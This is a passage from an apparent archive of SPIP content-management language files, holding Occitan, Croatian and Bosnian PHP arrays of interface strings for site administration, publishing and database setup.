'texte_choix_table_prefix' => 'Prefixe dei taulas :',
'texte_commande_vider_tables_indexation' => 'Utilisatz aquela comanda per vuar li taulas d’indexacion utilisadi per lo motor de recerca integrat à SPIP. Aquò permetrà de ganhar d’espaci disc.',
'texte_compresse_ou_non' => '(Aquesto pòu èstre comprimit ò non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz li informacions que lo voastre aubergador fornisse : li devètz trobar lo servidor de basa de donadas que prepaua e lu identificants personaus per vos connectar.',
'texte_contenu_article' => '(Contengut de l’article en quaucu mots.)',
'texte_contenu_articles' => 'Segond la maqueta que lo voastre site a adoptada, podètz decidir
que d’unu elements dei articles s’utilison pas.
Utilisatz la tièra çai sota per indicar quaus elements son disponibles.',
'texte_crash_base' => 'Se la voastra basa de donadas s’es
encalada, podètz assajar una reparacion
automatica.',
'texte_creer_rubrique' => 'Denant de poder escriure d’articles,<br /> devètz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'Data de redaccion anteriora :',
'texte_date_publication_anterieure_nonaffichee' => 'Faire pas aparéisser de data de redaccion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA:',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Escaçar la basa de donadas SPIP',
'texte_effacer_donnees_indexation' => 'Escaçar li donadas d’indexacion',
'texte_en_cours_validation' => 'Si prepaua de publicar lu articles e brèvas çai sota.', # MODIF
'texte_enrichir_mise_a_jour' => 'Podètz enriquir la compaginacion dau voastre tèxt en utilisant d’"escorchas tipografiqui"',
'texte_fichier_authent' => '<b>Deu crear, SPIP, de fichiers especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@ ?</b><p>
Aquelu fichiers vos poadon servir per restrénher l’accès ai autors
e administrators en d’autres luècs dau voastre site
(programa extèrne d’estadisticas, per exemple).</p><p>
Se vos sèrve pas, podètz laissar aquesta opcion
à la sieu valor predefinida (minga de creacion
de fichiers).</p>', # MODIF
'texte_informations_personnelles_1' => 'Aüra lo sistema vos va crear un accès personalisat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agisse d’una reïnstalacion, e se lo voastre accès fonciona encara, podètz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'Es conselhat d’emplegar, sus lo voastre site, l’alfabet universau (<tt>utf-8</tt>) : permete d’afichar de tèxtes dins toti li lengas sensa problema de compatibilitat emb lu navigators modernes.',
'texte_jeu_caractere_2' => 'Atencion: aquest reglatge provoca pas la conversion de tèxtos jà registrats dins la basa de donadas.',
'texte_jeu_caractere_3' => 'Lo voastre site es actualament instalat dins lo juèc de caractèrs:',
'texte_jeu_caractere_4' => 'En cas qu’aquò correspoande pas à la realitat dei voastri donadas (après, per esemple, una restauracion de basa de donadas), ò <em>que comencetz aqueu site</em> e desiretz chausir un autre juèc de caractèrs, indicatz-lo aicí : ',
'texte_jeu_caractere_conversion' => 'Nòta: podètz decidir de convertir un còup per totes l’ensem dei tèxtes dau voastre sit (articles, brèvas, fòros, eca.) vèrs l’alfabet <tt>utf-8</tt>, en anant à <a href="@url@">la pàgina de conversion vèrs l’utf-8</a>.',
'texte_lien_hypertexte' => '(Se lo voastre messatge si referisse à un article publicat sus lo web, ò à una pàgina fornissent mai d’informacions, vorgatz indicar çai sota lo titre de la pàgina e la sieu adreça URL.)',
'texte_login_ldap_1' => '(Laissar vuèi per un accès anonim, ò picar lo camin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Aquò’s lo login emb lo quau siètz aüra connectat/ada.
Utilisatz aquest formulari emb precaucion...',
'texte_message_edit' => 'Atencion: aquest messatge, cada redactor lo pòu veire, e cada administrator dau sit lo pòu modificar. Utilisatz li anónças solament per expauar d’aveniments importants de la vida dau sit.',
'texte_mise_a_niveau_base_1' => 'Venètz de metre à jorn lu fichiers SPIP.
Aüra cau metre à nivèu la basa de donadas
dau sit.',
'texte_modifier_article' => 'Modificar l’article :',
'texte_moteur_recherche_active' => '<b>Lo motor de recerca es activat.</b> Utilisatz aquesta comanda
se volètz tornar indexar la basa rapidament (après restauracion
d’una sauvagarda per exemple). Notatz que lu documents modificats d’una
maniera normala (a partir de l’interfaça SPIP) se tornan indexar
automaticament: donc aquesta comanda es utila solament d’un biais excepcionau.',
'texte_moteur_recherche_non_active' => 'Lo motor de recerca es pas activat.',
'texte_multilinguisme' => 'Se desiratz gerar d’articles en mai d’una lenga, emb una navigacion complèxa, podètz apondre un menut per chausir la lenga dei articles e/ò dei rubricas, en foncion de l’organisacion dau voastre sit.', # MODIF
'texte_multilinguisme_trad' => 'Podètz tanben activar un sistema de gestion dei ligams entre li diferentes reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (lo voastre servidor supoarta pas aquela foncionalitat)',
'texte_nouveau_message' => 'Messatge novèu',
'texte_nouvelle_version_spip_1' => 'Avètz installat una novèla version de SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version novèla demanda una actualisacion mai completa que de costuma. Se siètz webmèstre/webmèstressa dau site, vorgatz escafar lo fichier @connect@ e tornar prendre l’installacion per fin d’actualisar lu voastres paramètres de connexion à la basa de donadas.<p> (NB: s’avètz denembrat lu voastres paramètres de connexion, regarjatz lo fichier @connect@ denant de lo suprimir...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz à la pàgina precedenta, chausissètz una autra basa ò creatz-nen una novèla. Verificatz li informacions que lo voastre aubergador v’a fornidi.',
'texte_plus_trois_car' => 'mai de 3 caractèrs',
'texte_plusieurs_articles' => 'Mantun autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor predefinida conven generalament.)',
'texte_presente_plugin' => 'Aquela pàgina lista lu ajustons disponibles sus lo site. Podètz activar lu ajustons necessaris en marcant la casa correspondenta.',
'texte_proposer_publication' => 'Quora auretz acabat lo voastre article,<br /> podretz prepauar que sigue publicat.',
'texte_proxy' => 'Dins certans cas (intranet, rets protegidi...), si pòu que caugue utilisar un <i>proxy HTTP</i> per aténher lu sits sindicats.
En aqueu cas, marcatz çai sota la sieu adreça, sota la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
laissaretz vuèia aquela casa.', # MODIF
'texte_publication_articles_post_dates' => 'Coma SPIP si deu comportar fàça ai articles que la sieu
data de publicacion es fixada à una
escasença futura?',
'texte_rappel_selection_champs' => '[Oblidetz pas de seleccionar correctament aqueu camp.]',
'texte_recalcul_page' => 'Se volètz
tornar calcular solament una pàgina, passatz puslèu per l’espaci public et utilisatz lo boton « tornar calcular ».',
'texte_recapitiule_liste_documents' => 'Aquesta pàgina recapitula la tiera dei documents qu’avètz plaçats dins li rubricas. Per modificar li informacions de cada document, seguissètz lo ligam vers la pàgina de la sieua rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donadas',
'texte_reference_mais_redirige' => 'article referençat dins lo voastre sit SPIP, ma redirigit vers una autra URL.',
'texte_requetes_echouent' => '<b>Quora certani requistas SQL s’encalon
sistematicament e sensa rason aparenta, si pòu
qu’aquò vene de la basa de donadas. </b><p>
SQL ten la facultat de reparar li sieu
taulas quora un accident li
a esquintadi. Aquí podètz ensajar aquela reparacion; se
capita pas, servatz una còpia de l’afichatge, que conten bessai
d’indicis de cen que va pas...</p><p>
Se lo problema persistisse, contactatz lo voastre
aubergador.</p>', # MODIF
'texte_selection_langue_principale' => 'Podètz seleccionar çai sota la "lenga principala" dau sit. Aquela chausida vos obliga pas - gauch pron que non - d’escriure lu voastres articles dins la lenga seleccionada, ma permete de determinar:
<ul><li> lo format predefinit dei datas sus lo sit public;</li>
<li> la natura dau motor tipografic que SPIP deu utilisar per lo rendut dei tèxtes;</li>
<li> la lenga utilisada dins lu formularis dau sit public;</li>
<li> la lenga presentada coma predefinida dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostitre',
'texte_statistiques_visites' => '(barras escuri : diménegue / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espèra de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refudats',
'texte_suppression_fichiers' => 'Utilisatz aquela comanda per suprimir toi lu fichiers que si tròban
dins l’amagador SPIP. Aquò permete per exemple de forçar un novèu calcul de toti li pàginas
s’avètz bravament modificat lo grafisme ò l’estructura dau sit.',
'texte_sur_titre' => 'Sobretitre',
'texte_table_ok' => ': aquesta taula es condrecha.',
'texte_tables_indexation_vides' => 'Li taulas d’indexacion dau motor son vuèii.',
'texte_tentative_recuperation' => 'Temptativa de reparacion',
'texte_tenter_reparation' => 'Provar de reparar la basa de donadas',
'texte_test_proxy' => 'Per provar aqueu proxy, indicatz aquí l’adreça d’un sit web
que lo vorriatz testar.',
'texte_titre_02' => 'Titre:',
'texte_titre_obligatoire' => '<b>Titre</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a travalhat sus aquel article fa @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quora es frequent que mai d’un redactor
travalhe sus lo meme article, lo sistema
pòu afichar lu articles recentament "dubèrts"
per evitar li modificacions simultanèï.
Aquela opcion es desactivada de manièra predefinida
per evitar d’afichar de messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròup de resultats per "@cherche_auteur@" ; vorgatz afinar la recerca.',
'texte_unpack' => 'Descargament de la darriera version',
'texte_utilisation_moteur_syndiques' => 'Quora utilisatz lo motor de recerca integrat
à SPIP, podètz far li recercas sus lu sites e
articles sindicats de doi manieras
diferenti. <br />- Lo mai
simple consiste de recercar ren que dins lu
titres e descriptius dei articles. <br />-
La segonda maniera, ben mai potent, permete
à SPIP de recercar tambèn dins lo tèxt dei
sites referençats. Se referençatz
un site, alora SPIP farà la
recerca dins lo tèxt dau site.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Aquela metòde obliga SPIP de visitar
regularament lu sits referençats,
aquò pòu relentir un pauc lo voastre
sit.',
'texte_vide' => 'vuèi',
'texte_vider_cache' => 'Vuar l’amagador',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar lu articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat dei reviradas per li lengas segenti :',
'titre_cadre_ajouter_auteur' => 'AJUSTAR UN AUTOR :',
'titre_cadre_interieur_rubrique' => 'Dintre de la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NÚMERO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligada]<br />',
'titre_config_fonctions' => 'Configuracion dau sit',
'titre_configuration' => 'Configuracion dau sit',
'titre_connexion_ldap' => 'Opcions : <b>La voastra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MÒTS :',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LU ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar dins lo sit...',
'titre_nouvelle_rubrique' => 'Novèla rubrica',
'titre_numero_rubrique' => 'RUBRICA NÚMERO :',
'titre_page_admin_effacer' => 'Mantenança tecnica : escaçar la basa',
'titre_page_articles_edit' => 'Modificar : @titre@',
'titre_page_articles_page' => 'Lu articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Visitaires',
'titre_page_calendrier' => 'Calendier @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuracion dau sit',
'titre_page_config_fonctions' => 'Configuracion dau sit',
'titre_page_configuration' => 'Configuracion dau sit',
'titre_page_controle_petition' => 'Seguit dei peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Lu documents dei rubricas',
'titre_page_index' => 'Lo voastre espaci privat',
'titre_page_message_edit' => 'Escriure un messatge',
'titre_page_messagerie' => 'La voastra messatgeria',
'titre_page_recherche' => 'Resultats de la recerca @recherche@',
'titre_page_statistiques_referers' => 'Estatisticas (estacs intrants)',
'titre_page_upgrade' => 'Mesa à nivèu de SPIP',
'titre_publication_articles_post_dates' => 'Publicacion dei articles poastdatats',
'titre_referencer_site' => 'Referençar lo sit:',
'titre_rendez_vous' => 'RENDÈTZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Seguit dei peticions',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'li a minga d’article que poarton aqueu número.',
'trad_article_traduction' => 'Toti li versions d’aquel article :',
'trad_deja_traduit' => 'Impossible de legar aquel article au numerò demandat.',
'trad_delier' => 'Ligar plus aquest article ai reviradas sieui', # MODIF
'trad_lier' => 'Aquel article es una revirada de l’article número :',
'trad_new' => 'Escriure una novèla revirada d’aquel article', # MODIF
// U
'utf8_convert_attendez' => 'Esperatz un moment e tornatz cargar aquesta pàgina.',
'utf8_convert_avertissement' => 'Siètz sus lo ponch de convertir lo contengut de voastra basa de donadas (articles, brèvas, eca.) dau juèc de caractèrs <b>@orig@</b> devers lo juè de caractèrs <b>@charset@</b>.',
'utf8_convert_backup' => 'Oblidètz pas de far en promièr una sauvagarda completa dau voastre site. Vos cau tanben verificar que lu voastres esqueletas e fichièrs de lenga son compatibles @charset@. N’oubliez pas de faire auparavant une sauvegarde complète de votre site. Vous devrez aussi vérifier que vos squelettes et fichiers de langue sont compatibles @charset@.',
'utf8_convert_erreur_deja' => 'Lo voastre site es jà en @charset@, es inutile de lo convertir...',
'utf8_convert_erreur_orig' => 'Error: lo juèc de caractèrs @charset@ es pas suportat.',
'utf8_convert_termine' => 'Es acabat!',
'utf8_convert_timeout' => '<b>Important :</b> en cas de <i>timeout</i> dau servidor, vorgatz tornar cargar la pàgina fins à cen qu’indique « acabat ».',
'utf8_convert_verifier' => 'Vos cau aüra vuar l’amagador, e verificar que tot va plan sus li pàginas publicas dau site. En cas de gròs problèma, una sauvagarda de voastri donadas s’es realizada (de format SQL) dins lo repertòri @rep@.',
'utf8_convertir_votre_site' => 'Convertir lo voastre site en utf-8',
// V
'version' => 'Version:'
);
?>
public_hr.php 0000666 00000007520 15252547432 0007245 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=hr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Početna stranica',
'article' => 'Članak',
'articles' => 'Članci',
'articles_auteur' => 'Članci ovoga autora',
'articles_populaires' => 'Najpopularniji članci',
'articles_rubrique' => 'Članci u ovoj rubrici',
'aucun_article' => 'Na ovoj adresi ne postoji nijedan članak.',
'aucun_auteur' => 'Na ovoj adresi ne postoji nijedan autor.',
'aucun_site' => 'Na ovoj adresi ne postoji nijedna web stranica.',
'aucune_breve' => 'Na ovoj adresi ne postoji nijedna vijest.',
'aucune_rubrique' => 'Na ovoj adresi ne postoji nijedna rubrika.',
'auteur' => 'Autor',
'autres' => 'Ostale',
'autres_breves' => 'Ostale vijesti',
'autres_groupes_mots_clefs' => 'Ostale grupe ključnih riječi',
'autres_sites' => 'Ostale web stranice',
// B
'bonjour' => 'Dobar dan',
// C
'commenter_site' => 'Komentirati web stranice',
'contact' => 'Kontakt',
'copie_document_impossible' => 'Nemoguće kopirati dokument',
// D
'date' => 'Datum',
'dernier_ajout' => 'Posljednji upis',
'dernieres_breves' => 'Posljednje vijesti',
'derniers_articles' => 'Posljednji članci',
'derniers_commentaires' => 'Posljednji komentari',
'derniers_messages_forum' => 'Posljednji forumski prilozi',
// E
'edition_mode_texte' => 'Mijenjati tekst',
'en_reponse' => 'Odgovor na:',
'en_resume' => 'Kratak sadržaj',
'envoyer_message' => 'Poslati poruku',
'espace_prive' => 'Redakcija',
// F
'formats_acceptes' => 'Prihvaćen format : @format@.',
// H
'hierarchie_site' => 'Hijerarhija web stranica',
// J
'jours' => 'Dani',
// L
'lien_connecter' => 'Priključiti se',
// M
'meme_auteur' => 'Od istog autora',
'meme_rubrique' => 'U istoj rubrici',
'memes_auteurs' => 'Od istih autora',
'message' => 'Poruka',
'messages_forum' => 'Poruka na forumu',
'messages_recents' => 'Nove poruke na forumu',
'mots_clef' => 'Ključna riječ',
'mots_clefs' => 'Ključne riječi',
'mots_clefs_meme_groupe' => 'Ključne riječi u istoj grupi',
// N
'navigation' => 'Navigacija',
'nom' => 'Ime',
'nouveautes' => 'Novosti',
'nouveautes_web' => 'Novo u internetu (WWW)',
'nouveaux_articles' => 'Novi članci',
'nouvelles_breves' => 'Nove vijesti',
// P
'page_precedente' => 'prethodna stranica',
'page_suivante' => 'slijedeća stranica',
'par_auteur' => 'od autora ',
'participer_site' => 'I Vi možete surađivati na uređenju naših stranica. Dovoljno je da unesete Vašu mail adresu. Nakon toga ćete primiti mail sa podacima koji će Vam omogućiti pristup redakcijskom sistemu.',
'plan_site' => 'Mapa weba',
'popularite' => 'Popularnost',
'poster_message' => 'Objaviti poruku',
'proposer_site' => 'U ovoj rubrici možete predložiti jednu novu stranicu :',
// R
'repondre_article' => 'Odgovoriti na ovaj članak',
'repondre_breve' => 'Odgovoriti na ovu vijest',
'resultats_recherche' => 'Rezultati pretrage',
'retour_debut_forums' => 'Natrag na početak foruma',
'rubrique' => 'Rubrika',
'rubriques' => 'Rubrike',
// S
'signatures_petition' => 'Potpis',
'site_realise_avec_spip' => 'Ostvareno uz pomoć SPIP',
'sites_web' => 'Web stranice',
'sous_rubriques' => 'Podrubrike',
'spam' => 'Spam',
'suite' => 'dalje',
'sur_web' => 'u internetu (WWW)',
'syndiquer_rubrique' => 'Aktivirati RSS za ovu rubriku',
'syndiquer_site' => 'Aktivirati RSS za cijeli web',
// T
'texte_lettre_information' => 'Ovo je poruka sa novostima s web stranica',
'texte_lettre_information_2' => 'Ovaj mail sadrži pregled novosti poslije:',
// V
'ver_imprimer' => 'Verzija za tiskanje',
'voir_en_ligne' => 'Vidjeti on-line',
'voir_squelette' => 'Pogledati kostur ovih stranica'
);
?>
ecrire_bs.php 0000666 00000141632 15252547432 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Pomoc nije dostupna',
'avis_acces_interdit' => 'Pristup zabranjen.',
'avis_article_modifie' => 'Paznja, @nom_auteur_modif@ je radio na ovom artiklu prije @date_diff@ minuta',
'avis_aucun_resultat' => 'Nije pronadjen nijedan rezultat.',
'avis_chemin_invalide_1' => 'Opcija koju ste izabrali',
'avis_chemin_invalide_2' => 'nije vazeca. Vratite se na prethodnu stranicu i provjerite unesene podatke.',
'avis_connexion_echec_1' => 'Konekcija na SQL server nije uspijela.', # MODIF
'avis_connexion_echec_2' => 'Vratite se na prethodnu stranicu i provjerite unesene podatke.',
'avis_connexion_echec_3' => '<b>N.B.</b> Na nekim serverima, trebate <b>traziti</b> aktiviranje pristupa SQL bazi prije nego je mozete koristiti. Ako se ne mozete konektovati provjerite da li ste trazili pomenutu aktivaciju.', # MODIF
'avis_connexion_ldap_echec_1' => 'Konekcija na LDAP server nije uspjela.',
'avis_connexion_ldap_echec_2' => 'Vratite se na prethodnu stranicu i provjerite unesene podatke.',
'avis_connexion_ldap_echec_3' => 'Ne koristite podrsku LDAP kao alternativu za importovanje korisnika.',
'avis_deplacement_rubrique' => 'Paznja! Ova rubrika sadrzi @contient_breves@ kratke poruke: Ako je zelite premjestiti, oznacite ovo polje kao potvrdu.',
'avis_destinataire_obligatoire' => 'Trebate naznaciti primaoca prije nego sto posaljete ovu poruku.',
'avis_erreur_connexion_mysql' => 'Greska u SQL konekciji', # MODIF
'avis_erreur_version_archive' => '<b>Paznja! Dokument @archive@ odgovara drugoj verziji SPIP od one koju ste instalirali.</b> Riskirate velike poteskoce: opasnost od unistenja vase baze podataka, razne disfunkcije stranice, itd. Ne potvrdjujte ovaj zahtjev za importovanje! Za vise informacija pogledajte <a href="@spipnet@"> SPIP dokumentaciju</a>.', # MODIF
'avis_espace_interdit' => '<b>Zabranjen prostor</b><p>SPIP je vec instaliran.</p>', # MODIF
'avis_lecture_noms_bases_1' => 'Instalacijski program nije uspio ucitati imena instaliranih baza podataka.',
'avis_lecture_noms_bases_2' => 'Ili nijedna baza nije na raspolaganju, ili je funkcija, koja dozvoljava izlistavanje baza, dezaktivirana iz sigurnosnih razloga (sto je slucaj kod mnogih racunara).',
'avis_lecture_noms_bases_3' => 'Ako je u pitanju druga alternativa, moguce je da se koristi baza koja nosi isto ime kao vas login:',
'avis_non_acces_message' => 'Nemate pristup ovoj poruci.',
'avis_non_acces_page' => 'Nemate pristup ovoj strani.',
'avis_operation_echec' => 'Operacija nije uspijela.',
'avis_probleme_archive' => 'Problem kod citanja dokumenta @archive@',
'avis_suppression_base' => 'PAZNJA, brisanje podataka je nepovratno',
'avis_version_mysql' => 'Vasa SQL verzija (@version_mysql@) ne dozvoljava automatsko popravljanje (ispravljanje) tabela baze.', # MODIF
// B
'bouton_acces_ldap' => 'Dodaj pristup za LDAP >>', # MODIF
'bouton_ajouter' => 'Dodaj',
'bouton_ajouter_participant' => 'DODAJ UCESNIKA:',
'bouton_annonce' => 'NAJAVA',
'bouton_checkbox_envoi_message' => 'mogucnost slanja poruke',
'bouton_checkbox_indiquer_site' => 'obavezno naznaciti jednu web stranicu',
'bouton_checkbox_signature_unique_email' => 'samo jedan potpis po e-mail adresi',
'bouton_checkbox_signature_unique_site' => 'samo jedan potpis po web stranici',
'bouton_demande_publication' => 'Trazi publikaciju ovog clanka',
'bouton_effacer_index' => 'Izbrisi indekse',
'bouton_effacer_tout' => 'Izbrisi SVE',
'bouton_envoi_message_02' => 'POSALJI PORUKU',
'bouton_envoyer_message' => 'Definitivna poruka: posalji',
'bouton_modifier' => 'Izmijeni',
'bouton_pense_bete' => 'LICNA BILJESKA',
'bouton_radio_activer_messagerie' => 'Aktiviraj interni servis poruka',
'bouton_radio_activer_messagerie_interne' => 'Aktiviraj interni servis poruka',
'bouton_radio_activer_petition' => 'Aktiviraj peticiju',
'bouton_radio_afficher' => 'Prikazi',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Prikazi u listi prisutnih urednika',
'bouton_radio_desactiver_messagerie' => 'Dezaktivirati servis poruka',
'bouton_radio_envoi_annonces_adresse' => 'Posalji najave na adresu:',
'bouton_radio_envoi_liste_nouveautes' => 'Posalji listu novosti',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ne prikazuj u listi urednika',
'bouton_radio_non_envoi_annonces_editoriales' => 'Ne salji editorijalne najave',
'bouton_radio_pas_petition' => 'Bez peticije',
'bouton_radio_petition_activee' => 'Peticija je aktivirana',
'bouton_radio_supprimer_petition' => 'Izbrisi peticiju',
'bouton_redirection' => 'PREUSMJERI',
'bouton_relancer_installation' => 'Ponovo pokreni instalaciju',
'bouton_suivant' => 'Sljedece',
'bouton_tenter_recuperation' => 'Pokusaj popraviti',
'bouton_test_proxy' => 'Provjeri proxy',
'bouton_vider_cache' => 'Isprazni kes',
'bouton_voir_message' => 'Pregledaj poruku prije ovjere',
// C
'cache_mode_compresse' => 'Dokumenti kesa su snimljeni u kompresovanoj formi;.',
'cache_mode_non_compresse' => 'Dokumenti kesa su pisani u nekompresovanoj formi.',
'cache_modifiable_webmestre' => 'Webmaster stranice moze promijeniti ovaj parametar.',
'calendrier_synchro' => 'Ako koristite neki kompaktibilni kalendarski software <b>iCal</b>, mozete ga uskladiti sa informacijama ove stranice.',
// D
'date_mot_heures' => 'sati',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adresa direktorija',
'entree_adresse_email' => 'Vasa e-mail adresa',
'entree_base_donnee_1' => 'Adresa baze podataka',
'entree_base_donnee_2' => '(Ova adresa cesto odgovara adresi vase stranice, nekada ona odgovara nazivu «localhost», a nekada je ostavljena prazna.)',
'entree_biographie' => 'Kratka biografija u nekoliko rijeci.',
'entree_chemin_acces' => '<b>Unijeti</b> putanju pristupa:', # MODIF
'entree_cle_pgp' => 'Vas PGP kljuc',
'entree_contenu_rubrique' => '(Sadrzaj ove rubrike, u nekoliko rijeci.)',
'entree_identifiants_connexion' => 'Identifikatori vase konekcije...',
'entree_informations_connexion_ldap' => 'U ovaj formular unesite informacije o konekciji sa LDAP direktorijem. Administrator mreze ili mreza ce vam pruziti te informacije.',
'entree_infos_perso' => 'Ko ste?',
'entree_interieur_rubrique' => 'U rubrici:',
'entree_liens_sites' => '<b>Hiperlink</b> (Reference, web stranice za posjetiti...)', # MODIF
'entree_login' => 'Vas login',
'entree_login_connexion_1' => 'Login konekcije',
'entree_login_connexion_2' => '(Nekada odgovara vasem loginu za pristup na FTP; nekada je ostavljen prazan)',
'entree_login_ldap' => 'Inicijalni LDAP login',
'entree_mot_passe' => 'Vasa lozinka',
'entree_mot_passe_1' => 'Lozinka konekcije',
'entree_mot_passe_2' => '(Nekada odgovara vasoj lozinki za pristup na FTP, a nekada je ostavljeno prazno)',
'entree_nom_fichier' => 'Unesite ime dokumenta @texte_compresse@:',
'entree_nom_pseudo' => 'Vase ime ili pseudo',
'entree_nom_pseudo_1' => '(Vase ime ili pseudo)',
'entree_nom_site' => 'Ime vase stranice',
'entree_nouveau_passe' => 'Nova lozinka',
'entree_passe_ldap' => 'Lozinka',
'entree_port_annuaire' => 'Broj porta direktorija',
'entree_signature' => 'Potpis',
'entree_titre_obligatoire' => '<b>Naslov</b> [Obavezno]<br />', # MODIF
'entree_url' => 'URL adresa vase stranice',
// I
'ical_info1' => 'Na ovoj strani je predstavljeno nekoliko metoda kako da ostanete u toku sa aktuelnostima ove web stranice.',
'ical_info2' => 'Za sve informacije o ovim metodama, mozete konsultovati <a href="@spipnet@"> SPIP dokumentaciju </a>.', # MODIF
'ical_info_calendrier' => 'Na raspolaganju vam stoje dva kalendara. Jedan je plan stranice koji najavljuje sve publicirane artikle. Drugi sadrzi editorijalne najave, kao sto su vase posljednje privatne poruke: On je rezervisan za vas zahvaljujuci licnom kljucu, koji mozete izmijeniti u svakom momentu, dok mijenjate svoju lozinku.',
'ical_methode_http' => 'Download',
'ical_methode_webcal' => 'Sinhronizacija (webcal://)',
'ical_texte_js' => 'Jedna linija javascripta vam omogucuje da recentne clanke, objavljene na ovoj web stranici, jako jednostavno objavite na vasoj web stranici.',
'ical_texte_prive' => 'Ovaj kalendar, koji je iskljucivo za licnu upotrebu, obavjestava vas o privatnim editorijalnim aktivnostima na ovoj stranici (zadaci i licni sastanci, clanci i objavljene kratke poruke).',
'ical_texte_rss' => 'Novosti sa ove stranice mozete sindikovati u bilo kojem citacu dokumenata XML/RSS (Rich Site Summary). Takodze, to je format koji dozvoljava SPIP-u da cita novosti objavljene na drugim stranicama, koristeci kompatibilan format za razmjenu (sindikovane stranice).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-lista',
'ical_titre_rss' => 'Dokumenti « backend »',
'icone_activer_cookie' => 'Postavi cookie',
'icone_afficher_auteurs' => 'Prikazi autore',
'icone_afficher_visiteurs' => 'Prikazi posjetioce',
'icone_arret_discussion' => 'Zavrsi ucesce u ovoj diskusiji',
'icone_calendrier' => 'Kalendar',
'icone_creer_auteur' => 'Kreiraj novog autora i asociraj ga s ovim clankom',
'icone_creer_mot_cle' => 'Kreiraj novu kljucnu rijec i povezi je sa ovim clankom',
'icone_creer_rubrique_2' => 'Kreiraj novu rubriku',
'icone_envoyer_message' => 'Posalji ovu poruku',
'icone_modifier_article' => 'Izmijeni ovaj clanak',
'icone_modifier_message' => 'Izmijeni ovu poruku',
'icone_modifier_rubrique' => 'Izmijeni ovu rubriku',
'icone_retour' => 'Nazad',
'icone_retour_article' => 'Nazad na clanak',
'icone_supprimer_cookie' => 'Izbrisi cookie',
'icone_supprimer_rubrique' => 'Izbrisi ovu rubriku',
'icone_supprimer_signature' => 'Izbrisi ovaj potpis',
'icone_valider_signature' => 'Ovjeri ovaj potpis',
'image_administrer_rubrique' => 'Mozete biti administrator ove rubrike',
'info_1_article' => '1. clanak',
'info_1_site' => '1. stranica',
'info_activer_cookie' => 'Mozete aktivirati jedan <b> cookie za administraciu </b>, koji ce vam dozvoliti lak prelaz iz javnog u privati prostor.',
'info_admin_gere_rubriques' => 'Ovaj administrator uredzuje sljedece rubrike:',
'info_admin_gere_toutes_rubriques' => 'Ovaj administrator uredzuje <b>sve rubrike</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'stranice (<i>pazljiva upotreba</i>)',
'info_administrateur_site_01' => 'Ako ste administrator stranice',
'info_administrateur_site_02' => 'kliknite ovaj link',
'info_administrateurs' => 'Administratori',
'info_administrer_rubrique' => 'Mozete biti administrator ove rubrike',
'info_adresse' => 'na adresu:',
'info_adresse_url' => 'URL adresa stranice za javnost',
'info_afficher_visites' => 'Prikazi posjete za:',
'info_aide_en_ligne' => 'Online pomoc za SPIP',
